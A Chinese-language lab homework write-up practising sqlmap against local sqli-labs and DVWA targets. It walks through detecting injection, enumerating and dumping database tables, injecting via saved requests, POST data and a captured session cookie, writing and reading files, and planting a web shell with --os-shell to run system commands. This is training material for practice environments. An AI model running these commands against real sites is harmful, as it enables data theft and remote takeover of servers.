不停的练习才能让自己变得更强
1.sqlmap常规注入流程
2.sqlmap使用http数据包注入
3.sqlmap使用—method加—data完成get和post注入
4.sqlmap指定cookie注入
5.sqlmap注入时设置user-agent
6.sqlmap写文件
7.sqlmap读文件
8.sqlmap执行系统命令
本次作业靶场使用sqli 和DVWA来完成
常规注入流程
在这里使用http://192.168.107.128/sqli/Less-1/?id=1
使用-u 查看是否有注入 使用–current-user 查看操作系统用户 –current-db 查看当前库名 –users数据库管理员
sqlmap -u “http://192.168.107.128/sqli/Less-1/?id=1"
发现有注入

sqlmap -u “http://192.168.107.128/sqli/Less-1/?id=1" –current-user
当前用户是root

sqlmap -u “http://192.168.107.128/sqli/Less-1/?id=1" –current-db
当前数据库是security

有这些用户

sqlmap -u “http://192.168.107.128/sqli/Less-1/?id=1" –dbs
查看有哪些库

sqlmap -u “http://192.168.107.128/sqli/Less-1/?id=1" -D security –tables
查看security库有哪些表

sqlmap -u “http://192.168.107.128/sqli/Less-1/?id=1" -D security -T users –column
查看security中的users表有哪些字段

sqlmap -u “http://192.168.107.128/sqli/Less-1/?id=1" –dump -D security -T users
在这里dump出security库中users表的数据
使用http数据包进行注入
在这里使用http://192.168.107.128/sqli/Less-11/进行测试
首先使用burp将要注入的数据包保存为test.txt

sqlmap -r “C:\Users\Leafer\Desktop\ceshi\test.txt”

接下来也是和GET行一样的操作,就不再重复了
sqlmap -r “C:\Users\Leafer\Desktop\ceshi\test.txt” –dbs

sqlmap使用—method加—data完成get和post注入
在这里使用–method=”post”指定
sqlmap-u”http://192.168.107.128/sqli/Less-13/"--method="post"--data="uname=1&passwd=2&submit=Submit"

使用最原始的-u就可以指定GET注入类型
sqlmap指定cookie注入
在这里使用DVWA的cookie登录注入,如果要使用cookie则将-v 调整为2即以上
http://192.168.107.128/dvwa/vulnerabilities/sqli/
这里是GET型数据,先不指定COOKIE用SQLMAP去跑

在这里会显示302让你先登陆后测试,选择Y或者N都会跑失败。
这时候就要指定cookie了,在此处使用burp来抓取cookie
Cookie: security=low; PHPSESSID=gqvba2822fuisoc6r2d70am1q0


sqlmap注入时设置user-agent
在这里使用的还是http://192.168.107.128/sqli/Less-1/?id=1
将我的头设置为zheshiyigezuoye

sqlmap写文件
在这里用的还是注入less-1靶场
sqlmap-u”http://192.168.107.128/sqli/Less-1/?id=1"--file-write="C:\Users\Leafer\Desktop\ceshi\test.txt" –file-dest=”/var/www/html/hack.php”

当前文件夹下有这个文件

sqlmap读文件

去文件夹中查看数据


sqlmap执行系统命令
在这里使用-os-shell上传小马来执行系统命令


在这里选择1

于是就在文件夹中写下了一个tmpbgyha.php的shell

执行一下系统命令
